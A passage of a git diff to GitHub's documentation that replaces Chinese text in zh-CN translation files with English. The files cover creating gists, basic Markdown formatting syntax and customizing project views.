description](/assets/images/help/gist/gist_name_description.png) -4. 在 Gist 文本框中键入 Gist 的文本内容。 ![Gist 文本框](/assets/images/help/gist/gist_text_box.png) +4. Type the text of your gist into the gist text box. +![Gist text box](/assets/images/help/gist/gist_text_box.png) -5. （可选）要创建{% ifversion ghae %}内部{% else %}公共{% endif %} gist，请单击 {% octicon "triangle-down" aria-label="The downwards triangle icon" %}，然后单击**创建{% ifversion ghae %}内部{% else %}公共{% endif %} gist**。 ![选择 Gist 可见性的下拉菜单]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %} +5. Optionally, to create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %}, then click **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. +![Drop-down menu to select gist visibility]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %} -6. 单击 **Create secret Gist（创建秘密 Gist）**或**创建{% ifversion ghae %}内部{% else %}公共{% endif %} gist**。 ![创建 Gist 的按钮](/assets/images/help/gist/create-secret-gist-button.png) +6. Click **Create secret Gist** or **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. + ![Button to create gist](/assets/images/help/gist/create-secret-gist-button.png) diff --git a/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md index fc8c35f1db..a11f87792f 100644 --- a/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md +++ b/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md @@ -1,6 +1,6 @@ --- -title: 基本撰写和格式语法 -intro: 使用简单的语法在 GitHub 上为您的散文和代码创建复杂的格式。 +title: Basic writing and formatting syntax +intro: Create sophisticated formatting for your prose and code on GitHub with simple syntax. redirect_from: - /articles/basic-writing-and-formatting-syntax - /github/writing-on-github/basic-writing-and-formatting-syntax @@ -9,36 +9,35 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: 基本格式语法 +shortTitle: Basic formatting syntax --- +## Headings -## 标题 - -要创建标题，请在标题文本前添加一至六个 `#` 符号。 您使用的 `#` 数量将决定标题的大小。 +To create a heading, add one to six `#` symbols before your heading text. The number of `#` you use will determine the size of the heading. ```markdown -# 最大标题 -## 第二大标题 -###### 最小标题 +# The largest heading +## The second largest heading +###### The smallest heading ``` -![渲染的 H1、H2 和 H6 标题](/assets/images/help/writing/headings-rendered.png) +![Rendered H1, H2, and H6 headings](/assets/images/help/writing/headings-rendered.png) -## 样式文本 +## Styling text -您可以在评论字段和 `.md` 文件中以粗体、斜体或删除线的文字表示强调。 +You can indicate emphasis with bold, italic, or strikethrough text in comment fields and `.md` files. -| 样式 | 语法 | 键盘快捷键 | 示例 | 输出 | -| -------- | ----------------- | ---------- | ------------------ | ---------------- | -| 粗体 | `** **` 或 `__ __` | 命令/控制键 + b | `**这是粗体文本**` | **这是粗体文本** | -| 斜体 | `* *` 或 `_ _` | 命令/控制键 + i | `*这是斜体文本*` | *这是斜体文本* | -| 删除线 | `~~ ~~` | | `~~这是错误文本~~` | ~~这是错误文本~~ | -| 粗体和嵌入的斜体 | `** **` 和 `_ _` | | `**此文本 _非常_ 重要**` | **此文本_非常_重要** | -| 全部粗体和斜体 | `*** ***` | | `***所有这些文本都很重要***` | ***所有这些文本都是斜体*** | +| Style | Syntax | Keyboard shortcut | Example | Output | +| --- | --- | --- | --- | --- | +| Bold | `** **` or `__ __`| command/control + b | `**This is bold text**` | **This is bold text** | +| Italic | `* *` or `_ _`     | command/control + i | `*This text is italicized*` | *This text is italicized* | +| Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ | +| Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** | +| All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** | -## 引用文本 +## Quoting text -您可以使用 `>` 来引用文本。 +You can quote text with a `>`. ```markdown Text that is not a quote @@ -46,28 +45,28 @@ Text that is not a quote > Text that is a quote ``` -![渲染的引用文本](/assets/images/help/writing/quoted-text-rendered.png) +![Rendered quoted text](/assets/images/help/writing/quoted-text-rendered.png) {% tip %} -**提示：**在查看转换时，您可以突出显示文本，然后输入代码 `r`，以自动引用评论中的文本。 您可以单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 和 **Quote reply（引用回复）**引用整个评论。 有关键盘快捷键的更多信息，请参阅“[键盘快捷键](/articles/keyboard-shortcuts/)”。 +**Tip:** When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing `r`. You can quote an entire comment by clicking {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Quote reply**. For more information about keyboard shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts/)." {% endtip %} -## 引用代码 +## Quoting code -使用单反引号可标注句子中的代码或命令。 倒引号中的文本不会被格式化。{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} 您也可以按 `command` 或 `Ctrl` + `e` 键盘快捷键将代码块的倒引号插入到 Markdown 一行中。{% endif %} +You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted.{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %} ```markdown -使用 `git status` 列出尚未提交的所有新文件或已修改文件。 +Use `git status` to list all new or modified files that haven't yet been committed. ``` -![渲染的内联代码块](/assets/images/help/writing/inline-code-rendered.png) +![Rendered inline code block](/assets/images/help/writing/inline-code-rendered.png) -要将代码或文本格式化为各自的不同块，请使用三反引号。 +To format code or text into its own distinct block, use triple backticks. 
                    -一些基本的 Git 命令为：
+Some basic Git commands are:
 ```
 git status
 git add
@@ -75,70 +74,82 @@ git commit
 ```
                    -![渲染的代码块](/assets/images/help/writing/code-block-rendered.png) +![Rendered code block](/assets/images/help/writing/code-block-rendered.png) -更多信息请参阅“[创建和突出显示代码块](/articles/creating-and-highlighting-code-blocks)”。 +For more information, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)." -## 链接 +## Links -通过将链接文本包含在方括号 `[ ]` 内，然后将 URL 包含在括号 `( )` 内，可创建内联链接。 {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %} +You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %} -`本站点是使用 [GitHub Pages](https://pages.github.com/) 构建的。` +`This site was built using [GitHub Pages](https://pages.github.com/).` -![渲染的链接](/assets/images/help/writing/link-rendered.png) +![Rendered link](/assets/images/help/writing/link-rendered.png) {% tip %} -**提示：**当评论中写入了有效 URL 时，{% data variables.product.product_name %} 会自动创建链接。 更多信息请参阅“[自动链接的引用和 URL](/articles/autolinked-references-and-urls)”。 +**Tip:** {% data variables.product.product_name %} automatically creates links when valid URLs are written in a comment. For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)." {% endtip %} -## 章节链接 +## Section links {% data reusables.repositories.section-links %} -## 相对链接 +## Relative links {% data reusables.repositories.relative-links %} -## 图像 +## Images -您可以通过添加 `!` 并在`[ ]`中包装 alt 文本来显示图像。 然后将图像链接包装在括号 `()` 中。 +You can display an image by adding `!` and wrapping the alt text in`[ ]`. Then wrap the link for the image in parentheses `()`. `![This is an image](https://myoctocat.com/assets/images/base-octocat.svg)` -![渲染的图像](/assets/images/help/writing/image-rendered.png) +![Rendered Image](/assets/images/help/writing/image-rendered.png) -{% data variables.product.product_name %} 支持将图像嵌入到您的议题、拉取请求{% ifversion fpt or ghec %}、讨论{% endif %}、评论和 `.md` 文件中。 您可以从仓库显示图像、添加在线图像链接或上传图像。 更多信息请参阅“[上传资产](#uploading-assets)”。 +{% data variables.product.product_name %} supports embedding images into your issues, pull requests{% ifversion fpt or ghec %}, discussions{% endif %}, comments and `.md` files. You can display an image from your repository, add a link to an online image, or upload an image. For more information, see "[Uploading assets](#uploading-assets)." {% tip %} -**提示：**想要显示仓库中的图像时，应该使用相对链接而不是绝对链接。 +**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links. {% endtip %} -下面是一些使用相对链接显示图像的示例。 +Here are some examples for using relative links to display an image. -| 上下文 | 相对链接 | -| ------------------ | ---------------------------------------------------------------------- | -| 在同一个分支上的 `.md` 文件中 | `/assets/images/electrocat.png` | -| 在另一个分支的 `.md` 文件中 | `/../main/assets/images/electrocat.png` | -| 在仓库的议题、拉取请求和评论中 | `../blob/main/assets/images/electrocat.png` | -| 在另一个仓库的 `.md` 文件中 | `/../../../../github/docs/blob/main/assets/images/electrocat.png` | -| 在另一个仓库的议题、拉取请求和评论中 | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` | +| Context | Relative Link | +| ------ | -------- | +| In a `.md` file on the same branch | `/assets/images/electrocat.png` | +| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` | +| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png` | +| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` | +| In issues, pull requests and comments of another repository | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` | {% note %} -**注意**：上表中的最后两个相对链接只有在查看者至少能够读取包含这些图像的私有仓库时，才可用于私有仓库中的图像。 +**Note**: The last two relative links in the table above will work for images in a private repository only if the viewer has at least read access to the private repository which contains these images. {% endnote %} -更多信息请参阅“[相对链接](#relative-links)”。 +For more information, see "[Relative Links](#relative-links)." +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5559 %} +### Specifying the theme an image is shown to -## 列表 +You can specify the theme an image is displayed to by appending `#gh-dark-mode-only` or `#gh-light-mode-only` to the end of an image URL, in Markdown. -通过在一行或多行文本前面添加 `-` 或 `*` 可创建无序列表。 +We distinguish between light and dark color modes, so there are two options available. You can use these options to display images optimized for dark or light backgrounds. This is particularly helpful for transparent PNG images. + +| Context | URL | +|--------|--------| +| Dark Theme | `![GitHub Light](https://github.com/github-light.png#gh-dark-mode-only)` | +| Light Theme | `![GitHub Dark](https://github.com/github-dark.png#gh-light-mode-only)` | +{% endif %} + +## Lists + +You can make an unordered list by preceding one or more lines of text with `-` or `*`. ```markdown - George Washington @@ -146,9 +157,9 @@ git commit - Thomas Jefferson ``` -![渲染的无序列表](/assets/images/help/writing/unordered-list-rendered.png) +![Rendered unordered list](/assets/images/help/writing/unordered-list-rendered.png) -要对列表排序，请在每行前面添加一个编号。 +To order your list, precede each line with a number. ```markdown 1. James Madison @@ -156,117 +167,117 @@ git commit 3. John Quincy Adams ``` -![渲染的有序列表](/assets/images/help/writing/ordered-list-rendered.png) +![Rendered ordered list](/assets/images/help/writing/ordered-list-rendered.png) -### 嵌套列表 +### Nested Lists -通过在一个列表项下面缩进一个或多个其他列表项，可创建嵌套列表。 +You can create a nested list by indenting one or more list items below another item. -要通过 {% data variables.product.product_name %} 上的 web 编辑器或使用等宽字体的文本编辑器（例如 [Atom](https://atom.io/)）创建嵌套列表，您可以直观地对齐列表。 在嵌套列表项的前面键入空格字符，直至列表标记字符（`-` 或 `*`）位于其上方条目中第一个文本字符的正下方。 +To create a nested list using the web editor on {% data variables.product.product_name %} or a text editor that uses a monospaced font, like [Atom](https://atom.io/), you can align your list visually. Type space characters in front of your nested list item, until the list marker character (`-` or `*`) lies directly below the first character of the text in the item above it. ```markdown -1. 第一个列表项 - - 第一个嵌套列表项 - - 第二个嵌套列表项 +1. First list item + - First nested list item + - Second nested list item ``` -![突出显示对齐的嵌套列表](/assets/images/help/writing/nested-list-alignment.png) +![Nested list with alignment highlighted](/assets/images/help/writing/nested-list-alignment.png) -![含两级嵌套项的列表](/assets/images/help/writing/nested-list-example-1.png) +![List with two levels of nested items](/assets/images/help/writing/nested-list-example-1.png) -要在 {% data variables.product.product_name %} 上的评论编辑器中创建嵌套列表（不使用等宽字体），您可以查看嵌套列表正上方的列表项，并计算该条目内容前面的字符数量。 然后在嵌套列表项的前面键入该数量的空格字符。 +To create a nested list in the comment editor on {% data variables.product.product_name %}, which doesn't use a monospaced font, you can look at the list item immediately above the nested list and count the number of characters that appear before the content of the item. Then type that number of space characters in front of the nested list item. -在此例中，您可以通过缩进嵌套列表项至少五个空格，在列表项 `100. 第一个列表项`的下面添加一个嵌套列表项，因为在`第一个列表项`的前面有五个字符 (`100.`) 。 +In this example, you could add a nested list item under the list item `100. First list item` by indenting the nested list item a minimum of five spaces, since there are five characters (`100. `) before `First list item`. ```markdown -100. 第一个列表项 - - 第一个嵌套列表项 +100. First list item + - First nested list item ``` -![含一个嵌套列表项的列表](/assets/images/help/writing/nested-list-example-3.png) +![List with a nested list item](/assets/images/help/writing/nested-list-example-3.png) -您可以使用相同的方法创建多层级嵌套列表。 例如，由于在第一个嵌套列表项中，嵌套列表项内容`第一个嵌套列表项`之前有七个字符 (`␣␣␣␣␣-␣`)，因此需要将第二个嵌套列表项缩进七个空格。 +You can create multiple levels of nested lists using the same method. For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces. ```markdown -100. 第一个列表项 - - 第一个嵌套列表项 - - 第二个嵌套列表项 +100. First list item + - First nested list item + - Second nested list item ``` -![含两级嵌套项的列表](/assets/images/help/writing/nested-list-example-2.png) +![List with two levels of nested items](/assets/images/help/writing/nested-list-example-2.png) -更多示例请参阅 [GitHub Flavored Markdown 规范](https://github.github.com/gfm/#example-265)。 +For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265). -## 任务列表 +## Task lists {% data reusables.repositories.task-list-markdown %} -如果任务列表项说明以括号开头，则需要使用 `\` 进行规避： +If a task list item description begins with a parenthesis, you'll need to escape it with `\`: -`- [ ] \(Optional) 打开后续议题` +`- [ ] \(Optional) Open a followup issue` -更多信息请参阅“[关于任务列表](/articles/about-task-lists)”。 +For more information, see "[About task lists](/articles/about-task-lists)." -## 提及人员和团队 +## Mentioning people and teams -您可以在 {% data variables.product.product_name %} 上提及人员或[团队](/articles/setting-up-teams/)，方法是键入 `@` 加上其用户名或团队名称。 这将触发通知并提请他们注意对话。 如果您在编辑的评论中提及某人的用户名或团队名称，该用户也会收到通知。 有关通知的更多信息，请参阅{% ifversion fpt or ghes or ghae or ghec %}"[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}“[关于通知](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}”。 +You can mention a person or [team](/articles/setting-up-teams/) on {% data variables.product.product_name %} by typing `@` plus their username or team name. This will trigger a notification and bring their attention to the conversation. People will also receive a notification if you edit a comment to mention their username or team name. For more information about notifications, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}." -`@github/support 您如何看待这些更新？` +`@github/support What do you think about these updates?` -![渲染的 @提及](/assets/images/help/writing/mention-rendered.png) +![Rendered @mention](/assets/images/help/writing/mention-rendered.png) -当您提及父团队时，其子团队的成员也会收到通知，这简化了与多个人员团队的沟通。 更多信息请参阅“[关于团队](/articles/about-teams)”。 +When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see "[About teams](/articles/about-teams)." -键入 `@` 符号将显示项目中的人员或团队列表。 列表会在您键入时进行过滤，因此一旦找到所需人员或团队的名称，您可以使用箭头键选择它，然后按 Tab 或 Enter 键以填写名称。 提及团队时，请输入 @组织/团队名称，该团队的所有成员将收到关注对话的提醒。 +Typing an `@` symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and press either tab or enter to complete the name. For teams, enter the @organization/team-name and all members of that team will get subscribed to the conversation. -自动填写结果仅限于仓库协作者和该线程上的任何其他参与者。 +The autocomplete results are restricted to repository collaborators and any other participants on the thread. -## 引用议题和拉取请求 +## Referencing issues and pull requests -通过键入 `#` 可显示仓库中建议的议题和拉取请求列表。 键入议题或拉取请求的编号或标题以过滤列表，然后按 Tab 或 Enter 键以填写选中的结果。 +You can bring up a list of suggested issues and pull requests within the repository by typing `#`. Type the issue or pull request number or title to filter the list, and then press either tab or enter to complete the highlighted result. -更多信息请参阅“[自动链接的引用和 URL](/articles/autolinked-references-and-urls)”。 +For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)." -## 引用外部资源 +## Referencing external resources {% data reusables.repositories.autolink-references %} -## 内容附件 +## Content attachments -有些 {% data variables.product.prodname_github_apps %} 在 {% data variables.product.product_name %} 中提供链接到其注册域名的 URL 信息。 {% data variables.product.product_name %} 可渲染应用程序在正文或者议题或拉取请求的评论中的 URL 下提供的信息。 +Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} renders the information provided by the app under the URL in the body or comment of an issue or pull request. -![内容附件](/assets/images/github-apps/content_reference_attachment.png) +![Content attachment](/assets/images/github-apps/content_reference_attachment.png) -要查看内容附件，您必须拥有使用仓库中安装的内容附件 API 的 {% data variables.product.prodname_github_app %}。{% ifversion fpt or ghec %} 更多信息请参阅“[在个人帐户中安装应用程序](/articles/installing-an-app-in-your-personal-account)”和“[在组织中安装应用程序](/articles/installing-an-app-in-your-organization)”。{% endif %} +To see content attachments, you must have a {% data variables.product.prodname_github_app %} that uses the Content Attachments API installed on the repository.{% ifversion fpt or ghec %} For more information, see "[Installing an app in your personal account](/articles/installing-an-app-in-your-personal-account)" and "[Installing an app in your organization](/articles/installing-an-app-in-your-organization)."{% endif %} -内容附件不会显示在属于 markdown 链接的 URL 中。 +Content attachments will not be displayed for URLs that are part of a markdown link. -有关构建使用内容附件的 {% data variables.product.prodname_github_app %} 的详细信息，请参阅“[使用内容附件](/apps/using-content-attachments)”。 +For more information about building a {% data variables.product.prodname_github_app %} that uses content attachments, see "[Using Content Attachments](/apps/using-content-attachments)." -## 上传资产 +## Uploading assets -您可以通过拖放、从文件浏览器中选择或粘贴来上传图像等资产。 您可以将资产上传到议题、拉取请求、评论和仓库中的 `.md` 文件。 +You can upload assets like images by dragging and dropping, selecting from a file browser, or pasting. You can upload assets to issues, pull requests, comments, and `.md` files in your repository. -## 使用表情符号 +## Using emoji -通过键入 `:EMOJICODE:` 可在您的写作中添加表情符号。 +You can add emoji to your writing by typing `:EMOJICODE:`. -`@octocat :+1: 这个 PR 看起来很棒 - 可以合并了！ :shipit:` +`@octocat :+1: This PR looks great - it's ready to merge! :shipit:` -![渲染的表情符号](/assets/images/help/writing/emoji-rendered.png) +![Rendered emoji](/assets/images/help/writing/emoji-rendered.png) -键入 `:` 将显示建议的表情符号列表。 列表将在您键入时进行过滤，因此一旦找到所需表情符号，请按 **Tab** 或 **Enter** 键以填写选中的结果。 +Typing `:` will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press **Tab** or **Enter** to complete the highlighted result. -有关可用表情符号和代码的完整列表，请查看[表情符号备忘清单](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md)。 +For a full list of available emoji and codes, check out [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md). -## 段落 +## Paragraphs -通过在文本行之间留一个空白行，可创建新段落。 +You can create a new paragraph by leaving a blank line between lines of text. {% ifversion fpt or ghae-issue-5180 or ghes > 3.2 or ghec %} -## 脚注 +## Footnotes -您可以使用此括号语法为您的内容添加脚注： +You can add footnotes to your content by using this bracket syntax: ``` Here is a simple footnote[^1]. @@ -283,46 +294,46 @@ You can also use words, to fit your writing style more closely[^note]. This footnote also has been made with a different syntax using 4 spaces for new lines. ``` -脚注将呈现如下： +The footnote will render like this: -![渲染的脚注](/assets/images/site/rendered-footnote.png) +![Rendered footnote](/assets/images/site/rendered-footnote.png) {% tip %} -**注意**：Markdown 中脚注的位置不会影响该脚注的呈现位置。 您可以在引用脚注后立即写脚注，脚注仍将呈现在 Markdown 的底部。 +**Note**: The position of a footnote in your Markdown does not influence where the footnote will be rendered. You can write a footnote right after your reference to the footnote, and the footnote will still render at the bottom of the Markdown. {% endtip %} {% endif %} -## 隐藏有评论的内容 +## Hiding content with comments -您可以通过在 HTML 评论中加入内容来指示 {% data variables.product.product_name %} 隐藏渲染的 Markdown 中的内容。 +You can tell {% data variables.product.product_name %} to hide content from the rendered Markdown by placing the content in an HTML comment. 
                     <!-- This content will not appear in the rendered Markdown -->
                    -## 忽略 Markdown 格式 +## Ignoring Markdown formatting -通过在 Markdown 字符前面输入 `\`，可告诉 {% data variables.product.product_name %} 忽略（或规避）Markdown 格式。 +You can tell {% data variables.product.product_name %} to ignore (or escape) Markdown formatting by using `\` before the Markdown character. -`让我们将 \*our-new-project\* 重命名为 \*our-old-project\*。` +`Let's rename \*our-new-project\* to \*our-old-project\*.` -![渲染的规避字符](/assets/images/help/writing/escaped-character-rendered.png) +![Rendered escaped character](/assets/images/help/writing/escaped-character-rendered.png) -更多信息请参阅 Daring Fireball 的“[Markdown 语法](https://daringfireball.net/projects/markdown/syntax#backslash)”。 +For more information, see Daring Fireball's "[Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash)." {% ifversion fpt or ghes > 3.2 or ghae-issue-5232 or ghec %} -## 禁用 Markdown 渲染 +## Disabling Markdown rendering {% data reusables.repositories.disabling-markdown-rendering %} {% endif %} -## 延伸阅读 +## Further reading -- [{% data variables.product.prodname_dotcom %} Flavored Markdown 规格](https://github.github.com/gfm/) -- “[关于 GitHub 上的撰写和格式](/articles/about-writing-and-formatting-on-github)” -- "[使用高级格式](/articles/working-with-advanced-formatting)" -- "[熟悉 Markdown](https://guides.github.com/features/mastering-markdown/)" +- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) +- "[About writing and formatting on GitHub](/articles/about-writing-and-formatting-on-github)" +- "[Working with advanced formatting](/articles/working-with-advanced-formatting)" +- "[Mastering Markdown](https://guides.github.com/features/mastering-markdown/)" diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md index 2fef45bcf6..4b879741b9 100644 --- a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md @@ -1,6 +1,6 @@ --- -title: 自定义项目（测试版）视图 -intro: 通过更改项目中的布局、分组、排序和筛选器来显示您需要的信息。 +title: Customizing your project (beta) views +intro: 'Display the information you need by changing the layout, grouping, sorting, and filters in your project.' allowTitleToDifferFromFilename: true versions: fpt: '*' @@ -17,74 +17,74 @@ topics: Use the project command palette to quickly change settings and run commands in your project. 1. {% data reusables.projects.open-command-palette %} -2. 开始键入命令的任何部分或浏览命令面板窗口以查找命令。 更多命令示例请参阅下面的章节。 +2. Start typing any part of a command or navigate through the command palette window to find a command. See the next sections for more examples of commands. -## 更改布局 +## Changing the project layout -您可以将项目视为表或板。 +You can view your project as a table or as a board. 1. {% data reusables.projects.open-command-palette %} -2. 开始键入 "Switch layout"。 -3. 选择所需的命令（例如："Switch layout: Table"）。 -3. 或者，选择视图名称旁边的下拉菜单，然后点击 **Table（表）** 或 **Board（板）**。 +2. Start typing "Switch layout". +3. Choose the required command. For example, **Switch layout: Table**. +3. Alternatively, click the drop-down menu next to a view name and click **Table** or **Board**. -## 显示或隐藏字段 +## Showing and hiding fields You can show or hide a specific field. In table layout: 1. {% data reusables.projects.open-command-palette %} -2. 开始键入要执行的操作（"show" 或 "hide"）或字段名称。 -3. 选择所需的命令（例如："Show: Milestone"）。 -4. 或者，单击表格右侧的 {% octicon "plus" aria-label="the plus icon" %}。 在显示的下拉菜单中，指示要显示或隐藏哪些字段。 {% octicon "check" aria-label="check icon" %} 指示显示哪些字段。 -5. 或者，选择字段名称旁边的下拉菜单，然后点击 **Hide field（隐藏字段）**。 +2. Start typing the action you want to take ("show" or "hide") or the name of the field. +3. Choose the required command. For example, **Show: Milestone**. +4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} to the right of the table. In the drop-down menu that appears, indicate which fields to show or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed. +5. Alternatively, click the drop-down menu next to the field name and click **Hide field**. In board layout: -1. 选择视图名称旁边的下拉菜单。 +1. Click the drop-down menu next to the view name. 2. Under **configuration**, click {% octicon "list-unordered" aria-label="the unordered list icon" %}. -3. In the menu that appears, select fields to add them and deselect fields to remove them from the view. +3. In the menu that's displayed, select fields to add them and deselect fields to remove them from the view. -## 重新排序字段 +## Reordering fields -您可以更改字段的顺序。 +You can change the order of fields. -1. 单击字段标题。 -2. 单击时，将字段拖动到所需的位置。 +1. Click the field header. +2. While clicking, drag the field to the required location. -## 重新排序行 +## Reordering rows -在表布局中，您可以更改行的顺序。 +In table layout, you can change the order of rows. -1. 点击行开头的数字。 -2. 单击时，将行拖动到所需的位置。 +1. Click the number at the start of the row. +2. While clicking, drag the row to the required location. -## 排序 +## Sorting by field values -在表布局中，您可以按字段值排序项。 +In table layout, you can sort items by a field value. 1. {% data reusables.projects.open-command-palette %} -2. 开始键入 "Sort by" 或您想要排序的字段的名称。 -3. 选择所需的命令（例如："Sort by: Assignees, asc"）。 -4. 或者，选择您要排序的字段名称旁边的下拉菜单，然后单击 **Sort ascending（升序排序）**或 **Sort descending（降序排序）**。 +2. Start typing "Sort by" or the name of the field you want to sort by. +3. Choose the required command. For example, **Sort by: Assignees, asc**. +4. Alternatively, click the drop-down menu next to the field name that you want to sort by and click **Sort ascending** or **Sort descending**. {% note %} -**注意：**对表格排序时，您不能手动重新排序行。 +**Note:** When a table is sorted, you cannot manually reorder rows. {% endnote %} -按照类似步骤删除排序。 +Follow similar steps to remove a sort. 1. {% data reusables.projects.open-command-palette %} -2. 开始键入 "Remove sort-by"。 -3. 选择 "Remove sort-by" 命令。 -4. 或者，选择视图名称旁边的下拉菜单，然后单击显示当前排序的菜单项。 +2. Start typing "Remove sort-by". +3. Choose **Remove sort-by**. +4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current sort. -## 组 +## Grouping by field values -In the table layout, you can group items by a custom field value. 对项分组时，如果将项拖动到新组，则应用该组的值。 例如， 如果您是按 `Status` 分组，然后将一个状态为 `In progress` 的项拖动到 `Done` 组，则该项的状态将切换到 `Done`。 +In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`. {% note %} @@ -93,68 +93,93 @@ In the table layout, you can group items by a custom field value. 对项分组 {% endnote %} 1. {% data reusables.projects.open-command-palette %} -2. 开始键入 "Group by" 或您想要分组的字段的名称。 -3. 选择所需的命令（例如 "Group by: Status"）。 -4. 或者，选择您要分组的字段名称旁边的下拉菜单，然后单击 **Group by values（按值分组）**。 +2. Start typing "Group by" or the name of the field you want to group by. +3. Choose the required command. For example, **Group by: Status**. +4. Alternatively, click the drop-down menu next to the field name that you want to group by and click **Group by values**. -按照类似步骤删除分组。 +Follow similar steps to remove a grouping. 1. {% data reusables.projects.open-command-palette %} -2. 开始键入 "Remove group-by"。 -3. 选择 "Remove group-by" 命令。 -4. 或者，选择视图名称旁边的下拉菜单，然后单击显示当前分组的菜单项。 +2. Start typing "Remove group-by". +3. Choose **Remove group-by**. +4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current grouping. -## 过滤，过滤器 +## Filtering rows -Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. 当您输入时，可能的值将会出现。 +Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. As you type, possible values will appear. - To filter for multiple values, separate the values with a comma. For example `label:"good first issue",bug` will list all issues with a label `good first issue` or `bug`. - To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`. - To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee. - To filter by state, enter `is:`. For example, `is: issue` or `is:open`. -- 多个过滤条件之间用逗号分隔。 For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee. +- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee. Alternatively, use the command palette. 1. {% data reusables.projects.open-command-palette %} -2. 开始键入 "Filter by" 或您想要筛选的字段的名称。 -3. 选择所需的命令（例如 "Filter by Status"）。 -4. 输入您想要筛选的值（例如："In progress"）。 You can also filter for the absence of specific values (for example: "Exclude status") or the absence of all values (for example: "No status"). +2. Start typing "Filter by" or the name of the field you want to filter by. +3. Choose the required command. For example, **Filter by Status**. +4. Enter the value that you want to 